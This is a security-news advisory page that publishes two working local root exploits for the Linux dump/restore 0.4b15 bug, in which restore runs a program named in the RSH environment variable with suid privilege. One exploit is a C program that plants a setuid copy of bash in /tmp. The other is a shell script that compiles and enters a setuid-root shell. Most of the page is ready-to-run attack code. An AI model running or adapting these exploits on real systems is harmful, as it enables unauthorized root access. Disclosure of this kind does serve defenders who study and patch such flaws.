SecuriTeam - Exploit released for dump/restore vulnerability

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

The Linux dump and restore commands execute external program with suid privilege. This fact allows local users to gain root privileges by a simple modification to the remote executed shell (RSH parameter).

Credit:
The information has been provided by fish stiqz and Claes Nyberg.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Exploit:

Dump exploit:
-- begin ---
/*
**
** dump-0.4b15x.c
**
** dump-0.4b15 exploit:
** Redhat 6.2 dump command executes
** external program with suid priviledge.
**
** affected:
** /sbin/dump
** /sbin/dump.static
** /sbin/restore
** /sbin/restore.static
**
** Bug found by mat@hacksware.com
**
** This example was coded by md0claes@mdstud.chalmers.se
** It was written for EDUCATIONAL PURPOSES ONLY.
**
**
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RUNME "/tmp/runme" /* tmp file */
#define SUID_PATH "/tmp/superdude" /* the power of root */

void usage(char *pname)
{
fprintf(stdout, "\nUsage: %s < d | s | r | p >\n\n", pname);
fprintf(stdout, " d - exploit /sbin/dump\n");
fprintf(stdout, " s - exploit /sbin/dump.static\n");
fprintf(stdout, " r - exploit /sbin/restore\n");
fprintf(stdout, " p - exploit /sbin/restore.static\n\n");
}

int main(int argc, char *argv[], char *envp[])
{
int fd;
pid_t pid;
char *bad_env[] = { "TAPE=garbage:garbage", "RSH="RUNME };
char runbuf[] = { "#!/bin/sh\n/bin/cp /bin/bash "
                    SUID_PATH "\nchmod 6755 " SUID_PATH };

char *suid[] = { SUID_PATH, NULL };
char *av[] = { "/sbin/restore.static", "restore.static",
                  "-t", "/tmp/foo" };

if (argc != 2) {
  usage(argv[0]);
  exit(1);
}

switch(tolower(argv[1][0])) {

  case 'd':
   av[0] = "/sbin/dump";
   av[1] = "dump";
   av[2] = "-0";
   av[3] = "/";
   break;

  case 's':
   av[0] = "/sbin/dump.static";
   av[1] = "dump.static";
   av[2] = "-0";
   av[3] = "/";
   break;

  case 'r':
   av[0] = "/sbin/restore";
   av[1] = "restore";
   break;

  case 'p':
   break;

  default:
   usage(argv[0]);
   exit(1);
}

if ((fd = open(RUNME,O_WRONLY|O_CREAT|O_TRUNC, 0755)) == -1) {
  perror("fopen");
  exit(1);
}

if (write(fd, runbuf, sizeof(runbuf)) == -1) {
  perror("write");
  exit(1);
}
close(fd);

if ((pid = fork()) < 0) {
  perror("fork");
  exit(1);
}

else if (pid == 0) {
  if (execle(av[0], av[1], av[2], av[3], NULL, bad_env) < 0) {
   perror("execle");
   _exit(1);
  }
}

sleep(1);
unlink(RUNME);
fprintf(stdout, "\nExploited %s \n", av[0]);
fprintf(stdout, "Running " SUID_PATH "\n");
execve(SUID_PATH, suid, envp);

exit(0);
}
-- end --

Restore exploit:
-- begin --
#!/bin/sh
#
# Exploits a stupid bug in redhat 6.2's (others..) restore program.
# restore version 0.4b15 executes a program which is found in
# a user modifiable environment variable (RSH).
#
# Have fun!
# - fish
#
# Shoutouts: trey, burke, dono, sinator, jadrax, minuway, lews, hubbs,
# ralph, jen, madspin, hampton, ego, als, scorch.
#
# Cause we da pimpz of #code! (not ef/dal.. etc)
# (irc > irl ? werd : lame)
#
# WERD to the async, isolated, expedience, mindsong, and analog crews
#
#
# #TelcoNinjas can eat it cause they suck hardc0re
# #TelcoNinjas == #smurfkiddies
#

echo "[spl0it]: Starting."
echo -n "[spl0it]: creating shell spawn... "

echo "#include <stdio.h>" > cool.c
echo "int main(void) { " >> cool.c
echo " setuid(0);" >> cool.c
echo " setgid(0);" >> cool.c
echo " execl(\"/bin/sh\", \"-bash\", NULL);" >> cool.c
echo " return 0;" >> cool.c
echo "}" >> cool.c

echo -e "\t\t\tdone"

echo -n "[sploit]: Compiling shell spawn... "
gcc -o cool cool.c
echo -e "\t\t\tdone"

echo -n "[sploit]: Creating fake rsh program... "

cat > execute_me << EOF
#!/bin/sh
chown root: cool
chmod 4777 cool
EOF

chmod +x execute_me
echo -e "\t\t\tdone"

# now executing the dump command
echo "[spl0it]: Beginning exploitation: "
export TAPE=garbage:garbage
export RSH=./execute_me
/sbin/restore -i

# Exec'n the r00t sh3ll!
echo -n "[spl0it]: Waiting 4 seconds for suid shell... "
sleep 4
echo -e "\t\tdone"

if [ ! -u ./cool ]; then
  echo "[spl0it]: Hmm it didn't work.. Better luck next time eh"
  echo "[spl0it]: Check ./cool anyway =)"
  exit 0
fi

echo "[spl0it]: It Worked! suid shell is now ./cool"
echo "[spl0it]: Entering suid shell..."
./cool
exit 0
-- end --

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)